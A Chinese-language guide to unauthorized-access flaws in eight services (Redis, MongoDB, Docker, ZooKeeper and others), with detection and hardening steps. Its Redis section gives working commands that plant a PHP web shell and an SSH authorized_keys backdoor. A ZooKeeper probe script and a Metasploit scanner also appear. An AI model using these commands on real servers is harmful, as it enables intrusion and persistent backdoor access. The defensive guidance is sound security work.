未授权访问漏洞总结
字数 1761 2025-08-18 11:38:49
未授权访问漏洞全面解析与防护指南
一、未授权访问漏洞概述
未授权访问漏洞是指由于安全配置或权限认证缺陷,导致攻击者无需认证即可直接访问系统敏感资源,从而引发权限操作、敏感信息泄露等安全问题。
二、常见未授权访问漏洞详解
1. MongoDB未授权访问漏洞
漏洞描述:
- 默认无认证,远程用户可通过27017端口进行高危操作
- 即使添加--auth参数,在admin.system.users为空时仍可无限制操作
检测方法:
- 检查监听配置:
--bind_ip 127.0.0.1或vim /etc/mongodb.conf查看bind_ip = 127.0.0.1 - 检查认证配置:
mongod --auth或查看配置文件auth = true
修复方案:
- 添加认证:
use admin db.addUser("用户名", "密码") db.auth("用户名","密码") // 返回1表示成功 - 禁用HTTP/REST接口:
nohttpinterface = false - 限制绑定IP:
bind_ip = 127.0.0.1
2. Redis未授权访问漏洞
漏洞描述:
- 默认绑定0.0.0.0:6379,无认证可读写数据
- 可写入SSH公钥实现免密登录,或通过crontab反弹shell
攻击利用:
- 网站写马:
config set dir /var/www/html config set dbfilename shell.php set webshell "<?php @eval($_POST['123']);?>" save - SSH免密登录:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt cat test.txt | redis-cli -h <host> -x set test config set dir "/root/.ssh" config set dbfilename "authorized_keys" save
修复方案:
- 设置强密码:修改
redis.conf中requirepass字段 - 配置IP限制和修改默认端口
- 清理后门木马
3. Memcached未授权访问(CVE-2013-7239)
漏洞描述:
- 全版本存在设计缺陷,无需认证可读写缓存内容
- 默认监听11211端口
检测方法:
netstat -an | more查看0.0.0.0:11211监听telnet/nc连接测试或nmap扫描
修复方案:
- 访问控制:
iptables -A INPUT -p tcp -s 192.168.0.2 --dport 11211 -j ACCEPT - 绑定本地:
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 - 修改默认端口
- 最小权限运行
4. JBOSS未授权访问漏洞
漏洞描述:
- 默认可通过
http://ip:8080/jmx-console直接管理部署
修复方案:
- 修改
%JBOSS_HOME%/server/default/deploy/jmx-console.war/WEB-INF/下的:jboss-web.xml:取消安全约束注释web.xml:注释GET/POST,取消security-constraint注释
- 修改用户配置:
jbossws-users.properties和jbossws-roles.properties
5. VNC未授权访问漏洞
漏洞描述:
- 默认端口5900/5901,无认证可远程控制主机
检测方法:
使用Metasploit模块auxiliary/scanner/vnc/vnx_none_auth
修复方案:
- 配置强密码认证
- 最小权限运行
6. Docker未授权访问漏洞
漏洞描述:
- 1.3和1.6版本存在权限问题,可通过2375端口获取宿主机权限
检测方法:
访问ip:2375/version获取信息或执行容器命令
修复方案:
- 启用TLS认证
- 网络访问控制
7. ZooKeeper未授权访问漏洞
漏洞描述:
- 默认2181端口,执行
envi命令可获取敏感信息
检测方法:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 2181))
s.send("envi")
print s.recv(1024)
修复方案:
- 修改默认端口
- 增加认证配置
8. Rsync未授权访问漏洞
漏洞描述:
- 默认837端口,允许匿名访问可同步文件
修复方案:
- 隐藏module:
list = false - 只读设置:
Read only = true - 访问控制:
hosts allow = 123.123.123.123 - 账户认证
- 使用SSH加密传输
三、通用防护建议
- 最小权限原则:服务以最低必要权限运行
- 网络隔离:限制服务仅在内网可用,或通过安全组/IP白名单控制
- 认证强化:启用强密码认证机制
- 端口修改:更改默认服务端口
- 日志监控:记录关键操作日志
- 定期更新:保持服务版本最新
通过以上措施可有效防范未授权访问漏洞带来的安全风险。